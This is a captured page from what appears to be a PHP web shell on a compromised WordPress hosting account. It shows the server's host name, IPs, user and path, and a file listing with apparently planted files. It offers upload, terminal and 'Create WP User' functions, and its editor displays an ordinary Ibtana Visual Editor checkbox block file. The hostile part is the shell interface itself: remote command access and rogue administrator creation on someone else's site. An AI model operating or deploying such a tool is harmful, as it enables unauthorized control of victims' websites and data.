Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.216.193
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
dcustoms.pl
/
wp-content
/
plugins
/
ibtana-visual-editor
/
src
/
blocks
/
form
/
fields
/
checkbox
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
.htaccess
214.00 B
-r--r--r--
2026-04-22 05:00
.item
210.00 B
-rw-r--r--
2025-11-28 01:02
block.php
8.67 KB
-rw-r--r--
2023-08-10 18:31
mytrustdirname.php
858.00 B
-rw-r--r--
2023-08-10 18:31
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
block.php
<?php /** * Form Field Checkbox block. * * @package ive */ if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class IVE_Form_Field_Checkbox_Block */ class IVE_Form_Field_Checkbox_Block { /** * IVE_Form_Field_Checkbox_Block constructor. */ public function __construct() { add_action( 'init', array( $this, 'init' ) ); } /** * Init. */ public function init() { if ( ! function_exists( 'register_block_type' ) ) { return; } register_block_type( 'ive/form-field-checkbox', array( 'parent' => array( 'ive/form' ), 'render_callback' => array( $this, 'block_render' ), 'attributes' => IVE_Form_Field_Attributes::get_block_attributes( array( 'label' => array( 'default' => esc_html__( 'Checkbox', 'ibtana-visual-editor' ), ), 'options' => array( 'type' => 'array', 'items' => array( 'type' => 'object', ), ), 'inline' => array( 'type' => 'boolean', ), 'uniqueID' => array( 'type' => 'string', 'default' => '' ), 'frameNormalBorderStyle' => array( 'type' => 'array', 'default' => array( 'none', 'none', 'none' ) ), 'frameNormalBorderColor' => array( 'type' => 'array', 'default' => array( '', '', '' ) ), 'frameNormalBorderWidth' => array( 'type' => 'array', 'default' => array( 0, 0, 0 ) ), 'frameNormalboxshadcolor' => array( 'type' => 'array', 'default' => array( '', '', '' ) ), 'frameNormalboxshadx' => array( 'type' => 'array', 'default' => array( 0, 0, 0 ) ), 'frameNormalboxshady' => array( 'type' => 'array', 'default' => array( 0, 0, 0 ) ), 'frameNormalboxshadblur' => array( 'type' => 'array', 'default' => array( 0, 0, 0 ) ), 'frameNormalboxshadspread' => array( 'type' => 'array', 'default' => array( 0, 0, 0 ) ), 'frameNormalBorderRadius' => array( 'type' => 'array', 'default' => array( array( 0, 0, 0, 0 ), array( 0, 0, 0, 0 ), array( 0, 0, 0, 0 ) ), ), 'frameNormalHovBorderStyle' => array( 'type' => 'array', 'default' => array( 'none', 'none', 'none' ) ), 'frameNormalHovBorderColor' => array( 'type' => 'array', 'default' => array( '', '', '' ) ), 'frameNormalHovBorderWidth' => array( 'type' => 'array', 'default' => array( 0, 0, 0 ) ), 'frameNormalHovboxshadcolor' => array( 'type' => 'array', 'default' => array( '', '', '' ) ), 'frameNormalHovboxshadx' => array( 'type' => 'array', 'default' => array( 0, 0, 0 ) ), 'frameNormalHovboxshady' => array( 'type' => 'array', 'default' => array( 0, 0, 0 ) ), 'frameNormalHovboxshadblur' => array( 'type' => 'array', 'default' => array( 0, 0, 0 ) ), 'frameNormalHovboxshadspread' => array( 'type' => 'array', 'default' => array( 0, 0, 0 ) ), 'frameNormalHovBorderRadius' => array( 'type' => 'array', 'default' => array( array( 0, 0, 0, 0 ), array( 0, 0, 0, 0 ), array( 0, 0, 0, 0 ) ), ), 'spacingMargin' => array( 'type' => 'array', 'default' => array( array( 0, 0, 0, 0 ), array( 0, 0, 0, 0 ), array( 0, 0, 0, 0 ) ), ), 'spacingPadding' => array( 'type' => 'array', 'default' => array( array( 0, 0, 0, 0 ), array( 0, 0, 0, 0 ), array( 0, 0, 0, 0 ) ), ), 'displayFields' => array( 'type' => 'array', 'default' => array( 'true', 'true', 'true' ) ), 'animationStyle' => array( 'type' => 'string', 'default' => 'none' ), 'animationType' => array( 'type' => 'string', 'default' => 'center' ), ) ), ) ); } /** * Register gutenberg block output * * @param array $attributes - block attributes. * * @return string */ public function block_render( $attributes ) { $attributes = array_merge( array( 'slug' => '', 'options' => array(), 'inline' => false, ), $attributes ); ob_start(); $uniqueID = $attributes['uniqueID']; $class = 'ive-form-field ive-form-field-checkbox'; if ( $attributes['inline'] ) { $class .= ' ive-form-field-checkbox-inline'; } $class .= ' form_checkbox'.$uniqueID; $class .= ' '.$attributes['animationStyle'].'-'.$attributes['animationType']; if ( isset( $attributes['className'] ) ) { $class .= ' ' . $attributes['className']; } ?> <div class="<?php echo esc_attr( $class ); ?>"> <?php IVE_Form_Field_Label::get( $attributes ); ?> <div class="ive-form-field-checkbox-items"> <?php foreach ( $attributes['options'] as $k => $option ) : $item_id = $attributes['slug'] . '-item-' . $k; $item_attrs = array_merge( $attributes, array( 'id' => $item_id, 'fieldIsArray' => true, ) ); ?> <label class="ive-form-field-checkbox-item" for="<?php echo esc_attr( $item_id ); ?>"> <input type="checkbox" <?php checked( $option['selected'] ); ?> value="<?php echo esc_attr( $option['value'] ); ?>" <?php IVE_Form_Field_Attributes::get( $item_attrs ); ?> /> <?php echo esc_html( $option['label'] ); ?> </label> <?php endforeach; ?> </div> <?php IVE_Form_Field_Description::get( $attributes ); ?> </div> <?php return ob_get_clean(); } } new IVE_Form_Field_Checkbox_Block();
关闭
保存